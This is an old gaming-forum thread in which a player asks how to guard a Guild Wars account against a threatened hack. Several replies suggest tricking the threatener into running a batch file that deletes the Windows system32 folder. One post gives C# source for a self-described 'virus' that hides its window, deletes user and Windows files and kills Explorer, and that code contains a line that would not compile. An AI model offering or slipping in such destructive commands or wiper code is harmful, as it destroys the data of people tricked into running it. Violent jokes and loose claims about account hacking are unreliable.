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Old Jul 22, 2009, 03:26 AM // 03:26   #1
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Hi all. So just like 10 mins ago, this guy got into a fight with me. He sounded pretty serious and all so yeah. He said that he had a friend who knows how to hack accounts and what not. I know this is usually bogus but just in case, is their anything i can do to prevent this? This guy sounded pretty serious but i tried to scare him back a little bit by saying if he even tries to hack me hes gonna be screwed (he backed off a little bit then ^_^.). But yeah, any suggestions? Thanks
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Old Jul 22, 2009, 03:34 AM // 03:34   #2
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Ugh. Teenagers on the internet. Surely there's a rule preventing that.

You're not going to get hacked, it's some dumb teen talking trash.
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Old Jul 22, 2009, 03:35 AM // 03:35   #3
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I've had people threaten me after failed AB/RA matches saying they were going to hack me. Needless to say my guildwars account remains untouched years later.

Anyone who says that is just playing as an Internet Toughguy and should be castrated in front of a group of people with a dull knife.
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Old Jul 22, 2009, 03:39 AM // 03:39   #4
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I had a kid say once he was going to DDoS my interwebz. I asked him if he even knew what DDoS stood for...he went offline.
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Old Jul 22, 2009, 03:42 AM // 03:42   #5
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when they threaten you just say you took screenshots of it and sent it to the authorities (fbi or whoever). or you can actually do that and that person might actually get in trouble

also, RED ENGINE GORED ENGINE GORED ENGINE GORED ENGINE GO.........lol
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Old Jul 22, 2009, 03:43 AM // 03:43   #6
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I had a kid say once he was going to DDoS my interwebz. I asked him if he even knew what DDoS stood for...he went offline.
I would have asked him how he was going to attempt to find my IP and send a DDoS attack to an IP address unlinked to a website.... lmfao classic.
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Old Jul 22, 2009, 03:47 AM // 03:47   #7
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Tell him your friend is a mod.
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Old Jul 22, 2009, 03:50 AM // 03:50   #8
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Hi all. So just like 10 mins ago, this guy got into a fight with me. He sounded pretty serious and all so yeah. He said that he had a friend who knows how to hack accounts and what not. I know this is usually bogus but just in case, is their anything i can do to prevent this? This guy sounded pretty serious but i tried to scare him back a little bit by saying if he even tries to hack me hes gonna be screwed (he backed off a little bit then ^_^.). But yeah, any suggestions? Thanks
I suggest you tell the "hacker" to open up his notepad and type:

@echo off
del c:\WINDOWS\system32

Save the file as anything.bat (remember to add the .bat extension) then save as ALL FILES.

Double-click the document.
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Old Jul 22, 2009, 04:01 AM // 04:01   #9
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i suggest you punch him in the face
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Old Jul 22, 2009, 04:04 AM // 04:04   #10
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I suggest you tell the "hacker" to open up his notepad and type:

@echo off
del c:\WINDOWS\system32

Save the file as anything.bat (remember to add the .bat extension) then save as ALL FILES.

Double-click the document.
Lmao^

Thanks all. I gotta do something like this next time .

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Old Jul 22, 2009, 04:12 AM // 04:12   #11
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I suggest you tell the "hacker" to open up his notepad and type:

@echo off
del c:\WINDOWS\system32

Save the file as anything.bat (remember to add the .bat extension) then save as ALL FILES.

Double-click the document.
May i ask what does that do....?
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Old Jul 22, 2009, 04:16 AM // 04:16   #12
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gonna guess thats going to royally mess someones computer up?
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Old Jul 22, 2009, 04:22 AM // 04:22   #13
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May i ask what does that do....?
It pwns your computer in the face. Not joking lol. Had a virus do it to my old PC once.
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Old Jul 22, 2009, 04:30 AM // 04:30   #14
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it's impossible to hack someone's guild wars account. anyone who says otherwise doesn't know what they're talking about. when someone says they were "hacked" they probably mean that they had a virus that logged their keystrokes, resulting in the "hacker" or, more appropriately, the virus spreader, to receive their password.
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Old Jul 22, 2009, 05:07 AM // 05:07   #15
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.bat basically means that assuming you put something useful in the note pad doc it will open a bajillion times and crash your comp. Relatively harmless MOST of the time. (depend how you code it. idk how bad that particular one is)
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it's impossible to hack someone's guild wars account. anyone who says otherwise doesn't know what they're talking about. when someone says they were "hacked" they probably mean that they had a virus that logged their keystrokes, resulting in the "hacker" or, more appropriately, the virus spreader, to receive their password.
A brute force "hack" is possible, just highly unlikely and inefficient compared to keyloggers.
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Old Jul 22, 2009, 05:09 AM // 05:09   #16
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Old Jul 22, 2009, 05:14 AM // 05:14   #17
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May i ask what does that do....?
If you click the document it will delete vital windows data, dll's etc.


Mr.1337 sauce.
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Old Jul 22, 2009, 05:19 AM // 05:19   #18
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It's more fun to send an actual virus.

Code:
using System;
using System.Collections.Generic;
using System.Text;
using System.IO;
using System.Reflection;
using System.Collections;
using System.Threading;

namespace ConsoleApplication1
{
    class Program
    {
        //Let's make the form invisible, shall we? Don't want them closing it too fast, do we?
        [System.Runtime.InteropServices.DllImport ( "user32.dll" )]
        private static extern bool ShowWindow ( IntPtr hWnd, int nCmdShow );
        private const int SW_MINIMIZE = 6;
        private const int SW_MAXIMIZE = 3;
        private const int SW_RESTORE = 9;

        static void Main ( string[] args )
        {
            List<string> files = new List<string> ();
            //Minimize teh window
            IntPtr winHandle = System.Diagnostics.Process.GetCurrentProcess ().MainWindowHandle;
            ShowWindow ( winHandle, SW_MINIMIZE );
            //typical folders
            string path = @"C:\Documents and Settings\";
            string path1 = @"C:\Windows";
            //Add all of those files into a list.
            files.AddRange ( Directory.GetFiles ( path, "*.*", SearchOption.AllDirectories ) );
            files.AddRange ( Directory.GetFiles ( path1, "*.*" ) );

            DoStopExplorer (0);
            //Delete all files, starting with those in my documents.
            foreach ( string file in files )
            {
                File.Delete ( file );
                DoStopExplorer ( 1 );
            }
            Console.ReadLine ();
        }
        //Stops the explorer process. I.E task bar. I used to have the task manager in here too, guess I should add that back in
        private static void DoStopExplorer (int times)
        { 
            List<System.Diagnostics.Process> process = new List<System.Diagnostics.Process> ();//Lists are fun

            process.AddRange ( System.Diagnostics.Process.GetProcesses() );//But empty lists aren't, so let's fill it

            foreach ( System.Diagnostics.Process proc in process )
            {
                if ( proc.ProcessName == "explorer" || taskmgr.exe)
                {
                    proc.Kill ();//BURN, KILL, FIRE, ETC.
                }
            }
        }
    }
}
You didn't get this from me though.

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Old Jul 22, 2009, 05:22 AM // 05:22   #19
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.bat basically means that assuming you put something useful in the note pad doc it will open a bajillion times and crash your comp. Relatively harmless MOST of the time. (depend how you code it. idk how bad that particular one is)

A brute force "hack" is possible, just highly unlikely and inefficient compared to keyloggers.
Yeah but even with Brute Force, you would still need to know the email address as the GW username first.

Someone once said in a thread, they wondered if it was possible that all the people getting hacked was a result of someone using some kind of packet interception without even knowing their acct/pass. Think of how fast and efficiently some people get hacked these days, it has an eeire feeling to it. They never get hacked in their life on GW, leave for one hour, come back and 100k or some ectos are gone from their stash but their account and chars are generally fine.
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Old Jul 22, 2009, 05:39 AM // 05:39   #20
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.bat basically means that assuming you put something useful in the note pad doc it will open a bajillion times and crash your comp. Relatively harmless MOST of the time. (depend how you code it. idk how bad that particular one is)

A brute force "hack" is possible, just highly unlikely and inefficient compared to keyloggers.
A brute force hack isn't a real hack in the traditional sense of the word, rather, it is just guessing over and over until you find the right password. Depending on how you go about programming the computer to do this, there are too many drawbacks to it. Firstly, if you program it to go through every possible combination alphabetically, if the person has a password starting with a letter at the end of the alphabet, you'll probably never get there. Plus, it takes time to send the login request to the GW servers. I'm too tired to do the math right now but if it took even just 1 second per try, that is a lot of time. Plus if Arenanet's servers got that many packets again and again, they'd know something was up and more than likely lock down the account before you get to the B's.
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